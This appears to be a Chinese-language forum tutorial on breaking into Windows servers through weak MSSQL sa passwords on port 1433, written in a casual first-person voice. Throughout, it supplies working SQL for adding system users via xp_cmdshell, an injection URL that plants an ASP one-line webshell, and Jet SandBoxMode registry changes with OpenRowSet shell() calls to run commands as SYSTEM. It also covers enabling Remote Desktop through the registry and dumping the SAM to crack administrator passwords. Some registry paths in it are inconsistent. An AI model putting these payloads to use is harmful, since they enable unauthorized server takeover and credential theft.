????? 這篇文章是面對大部分人的,所以對某些水平的人來說難免會有許多廢話,你們可以跳過,呵呵~好了,開始吧……啊~我肚子餓了~呵呵
?????
首先講下什么是1433弱口令漏洞,所謂弱口令就是指很簡單的一些密碼隨便猜就能猜出來的,比如說密碼是123,123456,admin甚至用戶名密碼
相同等等之類的狀況,我們就能輕易獲得對方的密碼。呵呵,許多人都很懶,所以密碼都很簡單,包括我也是,呵呵……(而且還經常那123當臨時密碼)。在說
下什么是1433弱口令,1433所指的是1個服務端口,什么服務呢?那就是傳說中的MSSQL啦,試想MSSQL安裝之初的默認密碼是空,然而又存在許
多懶網管,那么我們只要拿個工具簡單的掃下在檢測下密碼……嘿嘿……可想而之掃到1433弱口令的幾率還是蠻大的~呵呵
???
接下來我們說說拿到SA權限的1433弱口令我們能干什么,大家都知道XP_CMDSHELL這個擴展儲存吧,這個擴展儲存可以看做是MSSQL提供給管
理者執行CMD命令的一個功能模塊,通過這個我們可以執行CMD命令而更可喜的是SA權限的帳戶一般都是以SYSTEM權限啟動的,權限相當于計算機管理
員權限,那么我們相當于可以用CMD命令的形式控制你要入侵的計算機了,當然我們肯定不會滿足于用CMD控制機器,我們的目標是通過3389或者其他的軟
件來達到控制計算機的目的。下面我們來分類討論各種情況下的切入點,僅供參考……
以下假設你拿到了SA權限若口令的機器。有專門的SQL查詢分析器可以連接對方.大家有興趣可以去下一個來看看.
?
1.當3389終端開啟的時候,而目標機子也沒做類似IP這樣的過濾,那么我們就直接執行CMD命令加個用戶,然后用加的用戶登上去就OK了~呵呵
(需要無敵RP啊~~~)
2.那么如果CMD命令可以執行,但是沒開3389,我們先掃下目標IP,看他有沒有開80端口,有的話90%是有
WEB服務的,那么我們是SA權限直接丟個小馬上去,嘿嘿.........有了馬我們可以上傳東西啦~~傳個開3389的工具上去執行,機器重啟下就可
以登3389了.
?
以下是SA權限下備分小馬的語句;
exec sp_makewebtask '備分路徑',' select ''一句話木馬'' ';--
?
例子如下
http:\\xx.x.x.x.asp?id=1;exec sp_makewebtask 'd:\wwwroot\ay.asp',' select ''<%25eval (request('#'))25%>'' ';--
?
?
???????
其實1433弱口令跟注入非常相似,比如你1433上有WEB服務你也可以用查詢語句把用戶名和密碼找出來進后臺傳馬.思路是非常多的,但是看你怎么使用了.
?????
MSSQL的功能非常強大,所以幾乎沒有它辦不到的事(擴展儲存沒刪除情況下~而且SA權限沒被降為USERS用戶啟動).但是但是萬一人家把CMD給你
刪除了,恢復也恢復不了的時候又該怎么辦呢?如果我們沒有CMDSHELL,又沒開3389,那么SA權限看起來就象是雞肋~
?
????? 關于在SQL連接器上查看目錄的方式
?
exec xp_dirtree '(目錄名,比如c:\)',1,1
?????
????? 執行后就會返回目標機器指定目錄下的文件夾和文件,那么通過這個你就可以列目錄了
????? 這個擴展儲存的說明在注入語句集合里面有,這里就略過
?
?
?
?
?
exec xp_regread/exec xp_regwrite 注冊表操作的擴展儲存
?
????? 下面引用啊D注入語句里面的例子
?
寫注冊表
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
?
讀注冊表
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon','Userinit'
?
?
???? 如果CMDSHELL用不了的時候,我們來試著恢復下CMD
?
??? exec master.dbo.sp_addextendedproc 'xp_cmdshell','xplog70.dll'
?
??? 然后執行CMD命令,如果還是不行的話,唉~~那沒辦法了,呵呵,一會講到,呵呵~~~繼續往下看吧~
?
???? 來,我們來提一下傳說中的沙盒模式提權,
?
?
不是分割線
--------------------------------------------------------------------------------------------------------------------------------
????
首先我在<Jet引擎可以調用VBA的shell()函數>(http://support.microsoft.com/kb
/q239104/)這份資料知道在accessl里可以直接進行sql查詢,具體的在Access中測試.測試的SQL語句如下:
SELECT shell('c:\windows\system32\cmd.exe /c net user ray 123 /ad');
?
查看計算機管理的本地用戶,馬上發現多出一個ray用戶,說明語句成功執行了.接下來寫一個VBS腳本任意連接一個mdb來測試這個SQL語句
Set Conn=Createobject("Adodb.Connection")
Conn.Open "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=test.mdb"
Set Rs=Conn.execute("Select Shell(""cmd.exe /c net user ray 123 /ad"")")
Msgbox Rs(0)
運行后會出現"表達式中的'Shell'函數未
定義"的錯誤,<Jet引擎可以調用VBA的
shell()函數>提到WINDOWS在Jet引擎中設置了一個名為SandBoxMode的開關,它的注冊表位置在
HKEY_LOCAL_MACHINE\SoftWare\Microsoft\Jet\4.0\Engine\SandBoxMode里,0為在任何所
有者中中都禁止起用安全設置,1為僅在允許的范圍之內,2則是必須是Access的模式下,3則是完全開啟安全設置.默認情況下為2,只能在Access
的模式下調用VBA的shell()函數,我們嘗試將此注冊表值改為0,結果成功的運行了VBS利用Jet引擎可以調用VBA的shell()函數執行了
系統命令.
通常一臺MSSQL服務器同時支持Access數據庫,所以只要有一個sa或者dbowner的連接,就滿足了修改注冊表的條件,因為MSSQL有一個名為xp_regwrite的擴展,它的作用是修改注冊表的值.語法如下
exec maseter.dbo.xp_regwrite Root_Key,SubKey,Value_Type,Value
如果存在一個sa或者dbowner的連接的SQL注入點,就可以構造出如下注入語句
InjectionURL;EXEC
master.dbo.xp_regwrite
'HKEY_LOCAL_MACHINE','SoftWare\Microsoft\Jet\4.0\Engine','SandBoxMode','REG_DWORD','0'--
那我們將SandBoxMode開關的注冊表值修改為0就成功
了.接著連接到一個Access數據庫中,就可以執行系統命令,當然執行系統命令我們只需要一個Access數據庫相關Select的注入點或者直接用
ASP文件Select調用這個VBA的
shell()函數,但是實際上MSSQL有一個的OpenRowSet函數,它的作用是打開一個特殊的數據庫或者連接到另一個數據庫之中.當我們有一個
SA權限連接的時候,就可以做到打開Jet引擎連接到一個Access數據庫,同時我們搜索系統文件會發現windows系統目錄下本身就存在兩個
Access數據庫,位置在%windir%\system32\ias\ias.mdb或者%windir%\system32\ias\
dnary.mdb,這樣一來我們又可以利用OpenRowSet函數構造出如下注入語句:
InjectionURL';Select *
From
OpenRowSet('Microsoft.Jet.OLEDB.4.0',';Database=c:\winnt\system32\ias\ias.mdb','select
shell("net user ray 123 /ad")');--
如果你覺得不大好懂的話,我可以給你做一個簡化的理解:
1,Access可以調用VBS的函數,以System權限執行任意命令
2,Access執行這個命令是有條件的,需要一個開關被打開
3,這個開關在注冊表里
4,SA是有權限寫注冊表的
5,用SA寫注冊表的權限打開那個開關
6,調用Access里的執行命令方法,以system權限執行任意命令
??????
?
------------------------------------------------------------------------------------------
不是分割線
?????
????? 看完了吧~辛苦了~呵呵,呵呵,直接把原文貼出來了,我好懶啊我~原理就是上面說的那個
????? CMD不是刪除了么?嘿嘿~我們用剛剛講的方法來執行,具體如下
?????
首先執行
?
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.\Engines','SandBoxMode','REG_DWORD',1
?
?
呵呵~把注冊表改了~
不放心的話我們來讀讀看~
?
exec master..xp_regread 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.\Engines','SandBoxMode'
?
如果返回的值是1的話證明命令成功了
?
那么我們就可以用SYSTEM函數來執行命令了 下面給出執行命令語句
?
select * from
openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select
shell("cmd.exe /c query user >c:\windows\11.txt")');
?
紅色字體的是我執行的命令,>c:\windows
\11.txt的意思是把回顯命令導入到windows的文件夾下的1.txt,一會要用到的.黑色字體是我們數據庫的路徑,特別需要注意的是如果是
windows2000 那么灰色部分就應該是c:\winnt\system32\ias\ias.mdb?
如果是windows2003的話就是c:\windows\system32\ias\ias.mdb
?
后邊也是一樣情況 win2003是windows目錄而2000是winnt目錄
?
?
?
執行命令的時候是不是心里面很沒底呢?而且有些命令比如NETSTAT之類的是需要查看回顯的,那么怎么才能得到回顯呢~~~嘿嘿~~無疑MSSQL肯定為我們提供了讀取文件內容的功能操作
那么我們就來看看怎么操作的吧~~呵呵
操作如下
select * from openrowset('microsoft.jet.oledb.4.0','text;database=c:\windows\','select * from 11.txt')
?
灰色部分是文件所在目錄,而紅色是文件名
?
比如我想讀D:\WWW\XXX\目錄下的A.ASP文件,那么語句如下
?
select * from openrowset('microsoft.jet.oledb.4.0','text;database=D:\WWW\XXX\','select * from A.ASP')
?
還記得我剛剛把命令回顯導出的步驟嗎?我們就用上面這個操作來讀取TXT內容就可以得到我們的CMD執行命令回顯了,很好玩吧~呵呵??
?
這就是我饒過CMDSHELL來執行命令的一點心得,呵呵? 我們接下來說說3389的問題
?
一些關于3389終端的信息:
?
????? 其實在HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\Wds\rdpwd\Tds\tcp下的PortNumber鍵值 和
????? HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp下的PortNumber鍵值
記錄著3389的端口號 如果想改連接端口號的話直接用xp_regwrite修改對應的鍵值就OK了~呵呵
?
????? 那么接下來說說最關鍵的問題,在注冊表下存在一個決定3389開啟與否的鍵值,鍵值位置如下:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server下的fDenyTSConnections
?
其值是0表示開啟 1表示關閉,我們直接用XP_REGWRITE把值修改就好了~~
?
?
語句如下
?
exec master..xp_regwrite
'HKEY_LOCAL_MACHINE','SYSTEM\CurrentControlSet\Control\Terminal
Server','fDenyTSConnections','REG_DWORD',0
?
你們不放心可以用XP_REGREAD確認
具體語句不寫了,大家現學現賣吧,呵呵~~
?
好了,最后說過我沒實踐過的思路,理論上可行吧,呵呵
?
當你的沙盒模式也不能用的時候那么,嘿嘿?? ^-^
我們起碼還是能從目標機器上拿點什么東西的嘛,比如說SAM啊~呵呵
?
首先用OPENROWSET這個函數把SAM的內容暴出來
然后復制內容,本地新建個SAM把復制的內容導進去,保存,相當與把目標機子的SAM給下下來,然后暴吧~~把管理員的密碼暴出來,接著用XP_REGWRITE把3389端口開了就好了
?
?
其實開3389的時候還會遇到很多情況,由于我沒實踐,所以沒什么好說的了,如果大家以后遇到什么這方面的問題可以拿來一起討論,嘿嘿
?
至于怎么破SAM,OPENROWSET的函數用法之類的就不說了~去百度一下吧~~
?